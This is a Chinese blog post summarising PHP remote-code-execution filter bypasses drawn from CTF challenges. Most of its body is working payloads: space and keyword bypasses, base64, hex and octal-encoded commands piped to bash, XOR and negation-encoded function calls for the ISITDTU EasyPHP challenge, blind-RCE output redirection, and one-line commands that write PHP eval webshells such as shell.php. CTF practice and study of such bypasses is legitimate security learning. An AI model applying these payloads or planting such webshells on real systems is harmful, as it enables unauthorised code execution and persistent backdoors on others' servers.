PHP-RCE绕过的姿势总结

已于 2022-05-10 18:59:31 修改
阅读量7.8k 收藏 108
点赞数 12
分类专栏： web 文章标签： php 开发语言 后端
于 2022-02-18 21:18:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51213906/article/details/123010661
版权

文章目录

前言

做了很多的题目，静下心来学习大佬做点小总结

一、命令执行

空格过滤

在这里插入图片描述
在这里插入图片描述

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

取反绕过

取反两次就可以得到想要绕过限制的数据
在这里插入图片描述
传参时

?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
在做NSS平台上的一道rce题目就是用到类似的思路，这里是把system函数取反
要想做经典取反例题就是下面这道极客的题
[极客大挑战 2019]RCE ME，感兴趣可以去buu上做
wp链接[极客大挑战 2019]RCE ME（取反、异或绕过正则表达式、bypass disable_function）
搜到的大佬脚本

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

在这里插入图片描述

命令分隔符

linux中：%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||

windows中：%0a、&、|、%1a（一个神奇的角色，作为.bat文件中的命令分隔符）

在这里插入图片描述

黑名单绕过（比如flag字符）

拼接

1.a=fl;b=ag;cat $a$b

或者如
在这里插入图片描述
在这里插入图片描述

2.用点来链接   
(sy.(st).em)

3.使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>      
#   以上语句皆等效于<?php echo `ls /`; ?>

编码

1.base64编码绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
这边我是有点存疑的，我自己实验后是会报错的
echo 'Y2F0wqAK' | base64 -d 文件的名字
上面echo输出到d的地方会被命令行解析为cat，整个句子就可以变为cat 某个文件的文件名
从而达到绕过来查看内容的目的
但我却在kali里出现了如下错误提示

在这里插入图片描述

同样在ubuntu上也是不行
希望有懂得大佬能评论解惑一下==

在这里插入图片描述

2.Hex
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

3.oct
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

例题可见[GXYCTF 2019]Ping Ping Ping

单双引号的绕过

ca‘‘t flag 或ca""t flag

二、代码执行

两者之间的小区别
在这里插入图片描述

linux中的直接查看文件内容工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

在这里插入图片描述

举例
cat `ls` （该目录下存在index.php和flag.php，也就是此命令会扫描当前目录然后读取所有文件）
等效于
cat flag.php;cat index.php

在这里插入图片描述

通过命令行写入webshell

linux

echo “<?php eval(@\$_POST['pass']);?>” > shell.php;

或者十六进制写法

echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php

windows

“echo ^<?php eval($_POST[pass]); ?^> > shell.php”

成功后就有一句话木马可以执行使用，相当于绕过过滤

无数字字母绕过webshell

上题目讲解：[ISITDTU 2019]EasyPHP
源码：

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

参考wp
在这里插入图片描述
count_chars() 函数返回字符串中所用字符的信息（例如，ASCII 字符在字符串中出现的次数，或者某个字符是否已经在字符串中使用过）。
可以看到~和^没有被过滤，所以应该使用异或和取反绕过。
试一下用取反查看phpinfo

(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
成功了
在这里插入图片描述
禁止很多函数
但我们可以用print_r(scandir(.))函数获得目录。

((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)

但要绕过第二个if
本地测试后我们的payload经过count_chars之后长度为16，我们要想办法减少三个
这里有一个思路
先上脚本

str = 'acdips'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))

得到

n = c^d^i
t = c^d^s
r = a^c^p

拿n为例。因为n = cdi 所以~n = ~cdi成立，即n ^0xff= cdi^0xff成立
再来看看我们的payload,取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成：
(%8F%9E%96%9C%9C%A0%9E)(%FF%9C%FF%9B%9B%FF%9C)(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中，将要替换的字符用响应的三个代替字符代替，最后一个括号全为0xff相当于取反，而其他不变的字符不变，但异或了3个0xff相当于取反三次，等同于去反一次，所以仍不变，本地测试。
在这里插入图片描述

再进行替换
再用这个思路将payload中所有的ntr替换。
最后

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

在这里插入图片描述

print_r(scandir(.))

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

readfile(end(scandir(.)))

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

无回显RCE

有时候碰到一些命令函数，比如exec执行是没有回显的，就可以采用使用重定向输出到文件，再查看文件内容的办法
在这里插入图片描述
看一道例题
在这里插入图片描述

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} Can you see anything?

绕过姿势很简单，但是关键就在绕过后看不到回显内容
我们采用输出到文件的方法

url=l\s / | tee 1.txt

访问1.txt
在这里插入图片描述
成功，读取flag就好
url=tac /flllll\aaaaaaggggggg | tee 2.txt
羽师傅的文章
无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）

⽆字⺟数字shell

当限制较多，不过⻓度较⻓时，考虑⽆字⺟数字shell
在这里插入图片描述

总结

参考文章

RCE漏洞之绕过
总结rce（远程代码执行各种sao姿势）绕过bypass
RCE的Bypass骚姿势
PHP空格绕过（给自己看）
RCE注入过滤

4v1d
关注
  • 12
    点赞
  • 踩
  • 108
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
PHPRCE
m0_63045593的博客
04-22 943
PHPRCE <?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store
Bypass-PHP-GD-Process-To-RCE:参考
06-14
绕过-PHP-GD-Process-To-RCE 描述 使用 Similar-Block-Attack 绕过 PHP-GD 进程到 RCE。 用法 用法： php codeinj.php <src> <inj> php codeinj.php demo.gif "<?php phpinfo();?>" 然后新图像“gd_demo.gif...
RCE漏洞详解及绕过总结(全面)
热门推荐
永不落的梦想
07-10 1万+
包括RCE漏洞的原理，常见的造成RCE漏洞的函数解析，以及限制绕过的各种姿势
RCE-远程代码执行漏洞
2301_80661529的博客
03-10 917
远程代码执行（Remote Code Execution，RCE）是一种严重的安全漏洞，允许攻击者在目标服务器或应用程序上执行任意代码。这种漏洞的出现通常源于以下几个方面的缺陷：用户输入未经过滤或验证：当服务器端应用程序未能正确验证用户提交的数据，如HTTP请求参数、文件上传内容、数据库查询语句等，攻击者可能会将恶意代码注入到这些输入中。代码执行功能的设计缺陷：有些系统或应用提供了执行代码的接口，如PHP的函数、Java的反序列化漏洞等，若未做足够的安全防护，攻击者可通过操纵输入使得这些接口执行恶意代码。组
[CTF_网络安全] 攻防世界 php_rce 解题详析
最新发布
Z4400840的博客
05-24 1012
PHP RCE 指的是通过远程代码执行漏洞（Remote Code Execution）来攻击 PHP 程序的一种方式。简单来说，由于PHP应用程序没有正确处理外部输入数据（如用户提交的表单、请求参数等），攻击者通过某些手段向 PHP 应用程序中注入恶意代码，然后通过这些恶意代码实现对受攻击服务器的控制。下面简单介绍一种常见的远程 RCE 漏洞利用方式，即利用 PHP 中的eval函数实现 RCE 的方式。
攻防世界-web-进阶-php_rce
weixin_31610083的博客
11-10 3167
【题目描述】 无 【附件】 无 【过程及思路】 打开在线场景。 是一个关于ThinkPHP的页面，看起来没什么特别的，几个链接点进去也都是正常的官方链接。 我们尝试到github搜索ThinkPHP V5，发现有相关的“远程代码执行”漏洞集合。 RCE（远程代码执行漏洞） 用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。...
PHP RCE
LYINJAda的博客
05-10 284
简单来说，由于PHP应用程序没有正确处理外部输入数据（如用户提交的表单、请求参数等），此时通过某些手段向 PHP 应用程序中注入恶意代码，然后通过这些恶意代码实现对受攻击服务器的控制。进入场景可以看到，这个网站的框架是ThinkPHP5版本，上网去查找这个版本的漏洞，发现确实存在：ThinkPHP5框架底层对控制器名过滤不严，可以通过url调用到ThinkPHP框架内部的敏感函数，进而导致getshell漏洞。可以看到准确来说这个框架是5.0.20版本，再去网上查找对应版本的payload。
文件上传黑名单绕过
weixin_54105551的博客
09-07 1180
这一次过滤的更加彻底一些了，.htaccess格式的文件也做了过滤（最后一个，这里不好截图），但是也有一个缺点，没有统一后缀名，所以我们可以构造Php这种写法的后缀名来绕过黑名单过滤，没有特殊配置的情况下绕过方法对linux操作系统的服务器无法实现绕过，因为linux不区分大小写，只有Windows会忽略大小写，上传如下格式的文件至服务器中。这个时候我们上传的shell.jpg被当作php解析了，为了后面的操作，我们最好是先回到更目录，清除一下上传的文件。
[ISITDTU 2019]EasyPHP
qq_54929891的博客
04-25 1903
<?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_).
Apache-druid-kafka-rce.yaml
04-30
kafka相关RCE漏洞poc，扫描器的yaml文件，可以导入yara扫描器进行授权漏洞渗透测试。
laravel-8.4.2-rce
05-28
laravel-8.4.2-rce 设置环境 git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 用法 python3 ...
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
03-04
CVE-2021-21972-vCenter-6.5-7.0-RCE-POCpoc只需验证某人的路径的返回状态POC仅用于测试，未添加EXP模块POC仅用于测试，未加入exp模块
Apache-Solr-RCE-via-Velocity-template
03-09
Apache-Solr-RCE-Velocity模板突破产生原因：当攻击者可以直接访问Solr控制台时，可以通过发送类似/例程名/ config的POST请求该例程的配置文件进行更改。 Apache Solr内置IntegratedVelocityResponseWriter插件，在...
(RCE)命令执行和代码执行的原理、危害、防范、绕过
m0_52556798的博客
03-19 2653
RCE包括系统命令执行和代码执行，照这样下去owasp top10 快总结完了！ rce原理讲讲？ 远程系统命令执行 是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。 如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交能执行的命令，从而让后台进行执行，从而控制整个后台服务器。 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。 一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试
PHP短标签、双写绕过
2401_82985722的博客
03-19 217
文件中包含了PHP代码，但是在上下文中不被允许。（后端利用正则限制匹配PHP，php）上传的文件类型不是有效的 JPEG 图片格式。短标签会直接把php的结果输出，原来的路径中存在php。用pphpph双写绕过。·这都不做(web)（此题免杀马不可用）连接蚁剑，得flag。
攻防世界——php_rce
qq_60905276的博客
11-11 1715
我看不懂，查一下资料发现ThinkPHP V5曾经出现一个漏洞，来学习一下。 ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。 看得出来程序没经过控制器进行过滤，所以可以用/来控制程序。 搞不懂这个漏洞是怎么搞出来的，借用一下大神的答案。 ?
S2-048（RCE远程代码执行）
浅笑996的博客
11-23 1618
环境搭建： https://blog.csdn.net/qq_36374896/article/details/84145020 进入漏洞环境 cd vulhub-master/struts2/s2-048/ 启动s2-048环境： sudo docker-compose up 访问目标主机地址： http://192.168.91.130:8080/showcase/ 访问Integrat...
CTF中常见的php函数绕过（保持更新）
csu_vc的博客
11-03 1万+
is_numeric()用于判断是否是数字，通常配合数值判断is_numeric(@$a["param1"])?exit:NULL; if(@$a["param1"]){ ($a["param1"]>2017)?$v1=1:NULL; } //param1不能是数字，但又要比2017大，利用数组$pos = array_search("nudt",$a["param2"]); $pos ==
一道疯狂bypass的题目
蚁景网安学院
08-29 810
SUCTF2019-easyphp
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞，建议升级到最新版本的ThinkPHP框架，或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数，并且避免使用/e模式进行正则表达式匹配。此外，还应该对用户输入进行严格的过滤和验证，以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值